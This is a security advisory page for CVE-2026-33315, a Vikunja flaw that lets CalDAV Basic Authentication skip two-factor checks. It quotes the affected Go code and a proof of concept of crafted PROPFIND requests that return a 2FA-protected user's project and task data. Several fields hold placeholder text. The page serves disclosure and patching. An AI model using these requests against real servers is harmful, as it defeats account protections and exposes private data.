CVE-2026-33315: Code.vikunja.io/api Vikunja Has A 2FA Bypass Vulnerability

MODERATE

Advisory Identifier: GHSA-47cr-f226-r4pq

CWE-288

Published 2026-03-20

Advisory Summary

CVE-2026-33315 is a MODERATE vikunja has a 2fa bypass vulnerability (CWE-288: Authentication Bypass Using an Alternate Path or Channel) affecting Code.vikunja.io/api libraries in the Go ecosystem. The issue involves vikunja has a 2fa bypass via caldav basic auth. Remediation is available in the latest vendor maintenance releases.

CVE-2026-33315 at a Glance

CVE Identifier CVE-2026-33315

GHSA Identifier GHSA-47cr-f226-r4pq

Severity MODERATE

CVSS v3.1 Base Score N/A

CWE Classification CWE-288: Authentication Bypass Using an Alternate Path or Channel

Affected Product Code.vikunja.io/api

Package Ecosystem Go

Published Date 2026-03-20

Last Updated 2026-03-25

How to Fix CVE-2026-33315

To remediate this vulnerability, upgrade all affected Code.vikunja.io/api dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.vikunja.io/api fixed: Latest secure release

Upgrade code.vikunja.io/api to Latest secure release

Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.vikunja.io/api

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33315, inspect your project dependencies for Code.vikunja.io/api:

inspect dependencies for code.vikunja.io/api

Analyze the terminal output to locate any version of Code.vikunja.io/api in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-288: Authentication Bypass Using an Alternate Path or Channel, where the product requires authentication, but the product has an alternate path or channel that does not require authentication. In Code.vikunja.io/api, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The Caldav endpoint allows login using Basic Authentication, which in turn allows users to bypass the TOTP on 2FA-enabled accounts. The user can then access standard project information that would normally be protected behind 2FA (if enabled), such as project name, description, etc. ### Details The two files below show that when a user is accessing Caldav via Basic Authentication, it skips all steps involving 2FA. The order of operations is essentially: 1. Retrieve basic credentials. 2. Verify username. 3. Verify password. 4. Success **pkg/routes/caldav/auth.go:45** ```go u, err := checkUserCaldavTokens(s, credentials) if user.IsErrUserDoesNotExist(err) { return false, nil } if u == nil { u, err = user.CheckUserCredentials(s, credentials) if err != nil { log.Errorf("Error during basic auth for caldav: %v", err) return false, nil } } ``` **pkg/user/user.go:358** ```go func CheckUserCredentials(s *xorm.Session, u *Login) (*User, error) { // Check if we have any credentials if u.Password == "" || u.Username == "" { return nil, ErrNoUsernamePassword{} } // Check if the user exists user, err := getUserByUsernameOrEmail(s, u.Username) if err != nil { // hashing the password takes a long time, so we hash something to not make it clear if the username was wrong _, _ = bcrypt.GenerateFromPassword([]byte(u.Username), 14) return nil, ErrWrongUsernameOrPassword{} } if user.Issuer != IssuerLocal { return user, &ErrAccountIsNotLocal{UserID: user.ID} } // The user is invalid if they need to verify their email address if user.Status == StatusEmailConfirmationRequired { return &User{}, ErrEmailNotConfirmed{UserID: user.ID} } // Check the users password err = CheckUserPassword(user, u.Password) if err != nil { if IsErrWrongUsernameOrPassword(err) { handleFailedPassword(user) } return user, err } return user, nil } ``` ### PoC 1. Setup a Docker instance of Vikunja `v2.1.0` and create an account. Enable 2FA on the account. <img width="1506" height="646" alt="CleanShot 2026-03-16 at 15 30 24@2x" src="https://github.com/user-attachments/assets/e88522af-4333-4758-8ba4-3e34de9680f7" /> 2. Logout of the account. 3. Using a web proxy, such as Burp Suite, craft an HTTP request to the endpoint similar to the one shown below. Ensure that the 2FA-enabled user's username and password is properly Base64-encoded and inserted into the `Authorization` header. ```http PROPFIND /dav/principals/ HTTP/1.1 Host: 127.0.0.1:3456 Authorization: Basic {{ REDACTED }} [ TRUNCATED ] <?xml version="1.0"?><d:propfind xmlns:d="DAV:"><d:prop><d:displayname/><d:resourcetype/></d:prop></d:propfind> ``` 5. Observe that the response contains authenticated user information. ```http HTTP/1.1 207 Multi-Status Content-Type: text/xml; charset=utf-8 Vary: Accept-Encoding Date: Mon, 16 Mar 2026 19:31:47 GMT Content-Length: 398 <?xml version="1.0" encoding="UTF-8"?><D:multistatus xmlns:D="DAV:" xmlns:C="urn:ietf:params:xml:ns:caldav" xmlns:CS="http://calendarserver.org/ns/"><D:response><D:href>/dav/projects</D:href><D:propstat><D:prop><D:displayname>projects</D:displayname> [ TRUNCATED ] ``` 6. Other requests can then be crafted to retrieve more information about a specific project, such as the one below. ```http PROPFIND /dav/projects/1/{{ PROJECT NAME }}/ HTTP/1.1 Host: 127.0.0.1:3456 Authorization: Basic [ REDACTED ] [TRUNCATED] <?xml version="1.0"?><c:calendar-query xmlns:d="DAV:" xmlns:c="urn:ietf:params:xml:ns:caldav"><d:prop><d:getetag/><c:calendar-data/></d:prop><c:filter><c:comp-filter name="VCALENDAR"><c:comp-filter name="VTODO"/></c:comp-filter></c:filter></c:calendar-query> ``` ```http HTTP/1.1 207 Multi-Status Content-Type: text/xml; charset=utf-8 [ TRUNCATED ] [ TRUNCATED ] <D:prop><C:calendar-data>BEGIN:VCALENDAR
VERSION:2.0
X-PUBLISHED-TTL:PT4H
X-WR-CALNAME:Inbox
PRODID:-//Vikunja Todo App//EN
BEGIN:VTODO
UID:8gb6eclz-dad5-4a38-80a8-09005707eb51
DTSTAMP:20260316T190905Z
SUMMARY:test
DESCRIPTION:<p>description</p>
CREATED:20260301T203712Z
LAST-MODIFIED:20260316T190905Z
BEGIN:VALARM
TRIGGER;VALUE=DATE-TIME:20260316T130000Z
ACTION:DISPLAY
DESCRIPTION:test
END:VALARM
END:VTODO
END:VCALENDAR</C:calendar-data></D:prop><D:status>HTTP/1.1 200 OK [ TRUNCATED ] ``` ### Impact Any user that has 2FA enabled could have it bypassed, allowing attacker access to a lot of the user's project information. ### Remediation If there are 2FA barriers to access an account in a specific fashion, all integrations should follow those if they're using the same methods of authentication. The easiest path is probably to disable Basic Authentication for Caldav by default, but keep the token access enabled, that way users can generate tokens specifically for Caldav if they want to use that feature. Basic Auth for it could be kept, but would most likely want to be a feature flag or something along those lines. That's so users can turn it on if it's necessary, but can be notified in the documentation that it's a more unsafe pattern if 2FA is enabled.

CVE-2026-33315 Affected Code.vikunja.io/api Versions

1 component(s)

Product / Package	Ecosystem	Affected Versions	Fixed Version
code.vikunja.io/api golang/code.vikunja.io/api	Go	≤ 2.1.0

References

GitHub Advisory / Wiki ADVISORY

https://github.com/go-vikunja/vikunja/security/advisories/GHSA-47cr-f226-r4pq

NVD — CVE-2026-33315 NVD

https://nvd.nist.gov/vuln/detail/CVE-2026-33315

Security Fix Commit FIX COMMIT

https://github.com/go-vikunja/vikunja/commit/cdf5d30a425d032f749b78b98b828f25ad882615

Code.vikunja.io/api Source Repository REPOSITORY

https://github.com/go-vikunja/vikunja

vikunja.io/changelog/vikunja-v... WEB

https://vikunja.io/changelog/vikunja-v2.2.0-was-released

Frequently Asked Questions

What is CVE-2026-33315?

CVE-2026-33315 is a security vulnerability in Code.vikunja.io/api involving Vikunja has a 2FA Bypass via Caldav Basic Auth under CWE-288: Authentication Bypass Using an Alternate Path or Channel.

Which Code.vikunja.io/api versions are affected?

Affected versions include releases prior to current release patches across affected packages: code.vikunja.io/api.

What version fixes CVE-2026-33315?

Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.

Is code.vikunja.io/api affected?

Yes, code.vikunja.io/api is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.

What CWE is associated with CVE-2026-33315?

CVE-2026-33315 is classified under CWE-288: Authentication Bypass Using an Alternate Path or Channel (The product requires authentication, but the product has an alternate path or channel that does not require authentication.).

How can I check Go dependencies for CVE-2026-33315?

Run the dependency tree command: 'inspect dependencies for code.vikunja.io/api'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

Machine-readable OSV JSON OSV v1.5 Schema

Normalized schema output

View Raw JSON

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-47cr-f226-r4pq",
  "modified" : "2026-03-25T20:53:21Z",
  "published" : "2026-03-20T17:25:35Z",
  "aliases" : [ "CVE-2026-33315" ],
  "summary" : "Vikunja has a 2FA Bypass via Caldav Basic Auth",
  "details" : "### Summary\nThe Caldav endpoint allows login using Basic Authentication, which in turn allows users to bypass the TOTP on 2FA-enabled accounts. The user can then access standard project information that would normally be protected behind 2FA (if enabled), such as project name, description, etc.\n\n### Details\nThe two files below show that when a user is accessing Caldav via Basic Authentication, it skips all steps involving 2FA. The order of operations is essentially:\n1. Retrieve basic credentials.\n2. Verify username.\n3. Verify password.\n4. Success\n\n**pkg/routes/caldav/auth.go:45**\n```go\nu, err := checkUserCaldavTokens(s, credentials)\n\tif user.IsErrUserDoesNotExist(err) {\n\t\treturn false, nil\n\t}\n\tif u == nil {\n\t\tu, err = user.CheckUserCredentials(s, credentials)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"Error during basic auth for caldav: %v\", err)\n\t\t\treturn false, nil\n\t\t}\n\t}\n```\n\n**pkg/user/user.go:358**\n```go\nfunc CheckUserCredentials(s *xorm.Session, u *Login) (*User, error) {\n\t// Check if we have any credentials\n\tif u.Password == \"\" || u.Username == \"\" {\n\t\treturn nil, ErrNoUsernamePassword{}\n\t}\n\n\t// Check if the user exists\n\tuser, err := getUserByUsernameOrEmail(s, u.Username)\n\tif err != nil {\n\t\t// hashing the password takes a long time, so we hash something to not make it clear if the username was wrong\n\t\t_, _ = bcrypt.GenerateFromPassword([]byte(u.Username), 14)\n\t\treturn nil, ErrWrongUsernameOrPassword{}\n\t}\n\n\tif user.Issuer != IssuerLocal {\n\t\treturn user, &ErrAccountIsNotLocal{UserID: user.ID}\n\t}\n\n\t// The user is invalid if they need to verify their email address\n\tif user.Status == StatusEmailConfirmationRequired {\n\t\treturn &User{}, ErrEmailNotConfirmed{UserID: user.ID}\n\t}\n\n\t// Check the users password\n\terr = CheckUserPassword(user, u.Password)\n\tif err != nil {\n\t\tif IsErrWrongUsernameOrPassword(err) {\n\t\t\thandleFailedPassword(user)\n\t\t}\n\t\treturn user, err\n\t}\n\n\treturn user, nil\n}\n```\n\n### PoC\n1. Setup a Docker instance of Vikunja `v2.1.0` and create an account. Enable 2FA on the account.\n<img width=\"1506\" height=\"646\" alt=\"CleanShot 2026-03-16 at 15 30 24@2x\" src=\"https://github.com/user-attachments/assets/e88522af-4333-4758-8ba4-3e34de9680f7\" />\n\n2. Logout of the account.\n3. Using a web proxy, such as Burp Suite, craft an HTTP request to the endpoint similar to the one shown below. Ensure that the 2FA-enabled user's username and password is properly Base64-encoded and inserted into the `Authorization` header.\n\n```http\nPROPFIND /dav/principals/ HTTP/1.1\nHost: 127.0.0.1:3456\nAuthorization: Basic {{ REDACTED }}\n[ TRUNCATED ]\n\n<?xml version=\"1.0\"?><d:propfind xmlns:d=\"DAV:\"><d:prop><d:displayname/><d:resourcetype/></d:prop></d:propfind>\n```\n5. Observe that the response contains authenticated user information.\n```http\nHTTP/1.1 207 Multi-Status\nContent-Type: text/xml; charset=utf-8\nVary: Accept-Encoding\nDate: Mon, 16 Mar 2026 19:31:47 GMT\nContent-Length: 398\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?><D:multistatus xmlns:D=\"DAV:\" xmlns:C=\"urn:ietf:params:xml:ns:caldav\" xmlns:CS=\"http://calendarserver.org/ns/\"><D:response><D:href>/dav/projects</D:href><D:propstat><D:prop><D:displayname>projects</D:displayname>\n[ TRUNCATED ]\n```\n6. Other requests can then be crafted to retrieve more information about a specific project, such as the one below.\n```http\nPROPFIND /dav/projects/1/{{ PROJECT NAME }}/ HTTP/1.1\nHost: 127.0.0.1:3456\nAuthorization: Basic [ REDACTED ]\n[TRUNCATED]\n\n<?xml version=\"1.0\"?><c:calendar-query xmlns:d=\"DAV:\" xmlns:c=\"urn:ietf:params:xml:ns:caldav\"><d:prop><d:getetag/><c:calendar-data/></d:prop><c:filter><c:comp-filter name=\"VCALENDAR\"><c:comp-filter name=\"VTODO\"/></c:comp-filter></c:filter></c:calendar-query>\n```\n\n```http\nHTTP/1.1 207 Multi-Status\nContent-Type: text/xml; charset=utf-8\n[ TRUNCATED ]\n\n[ TRUNCATED ]\n<D:prop><C:calendar-data>BEGIN:VCALENDAR&#xA;VERSION:2.0&#xA;X-PUBLISHED-TTL:PT4H&#xA;X-WR-CALNAME:Inbox&#xA;PRODID:-//Vikunja Todo App//EN&#xA;BEGIN:VTODO&#xA;UID:8gb6eclz-dad5-4a38-80a8-09005707eb51&#xA;DTSTAMP:20260316T190905Z&#xA;SUMMARY:test&#xA;DESCRIPTION:&lt;p&gt;description&lt;/p&gt;&#xA;CREATED:20260301T203712Z&#xA;LAST-MODIFIED:20260316T190905Z&#xA;BEGIN:VALARM&#xA;TRIGGER;VALUE=DATE-TIME:20260316T130000Z&#xA;ACTION:DISPLAY&#xA;DESCRIPTION:test&#xA;END:VALARM&#xA;END:VTODO&#xA;END:VCALENDAR</C:calendar-data></D:prop><D:status>HTTP/1.1 200 OK\n[ TRUNCATED ]\n```\n\n### Impact\nAny user that has 2FA enabled could have it bypassed, allowing attacker access to a lot of the user's project information. \n\n### Remediation\nIf there are 2FA barriers to access an account in a specific fashion, all integrations should follow those if they're using the same methods of authentication. The easiest path is probably to disable Basic Authentication for Caldav by default, but keep the token access enabled, that way users can generate tokens specifically for Caldav if they want to use that feature. Basic Auth for it could be kept, but would most likely want to be a feature flag or something along those lines. That's so users can turn it on if it's necessary, but can be notified in the documentation that it's a more unsafe pattern if 2FA is enabled.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.vikunja.io/api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.1.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-47cr-f226-r4pq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33315"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/commit/cdf5d30a425d032f749b78b98b828f25ad882615"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-vikunja/vikunja"
  }, {
    "type" : "WEB",
    "url" : "https://vikunja.io/changelog/vikunja-v2.2.0-was-released"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-288" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-20T17:25:35Z",
    "nvd_published_at" : "2026-03-24T15:16:35Z"
  }
}

CVSS V4

N/A MODERATE

Attack Vector N/A

Attack Complexity N/A

Privileges Required N/A

User Interaction N/A

Scope N/A

Confidentiality N/A

Integrity N/A

Availability N/A

Vector String

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Advisory Metadata

Source ID: GHSA-47cr-f226-r4pq
Schema Version: 1.4.0
Published: 2026-03-20 17:25
Last Modified: 2026-03-25 20:53
Database Record File: advisories/github-reviewed/2026/03/GHSA-47cr-f226-r4pq/GHSA-47cr-f226-r4pq.json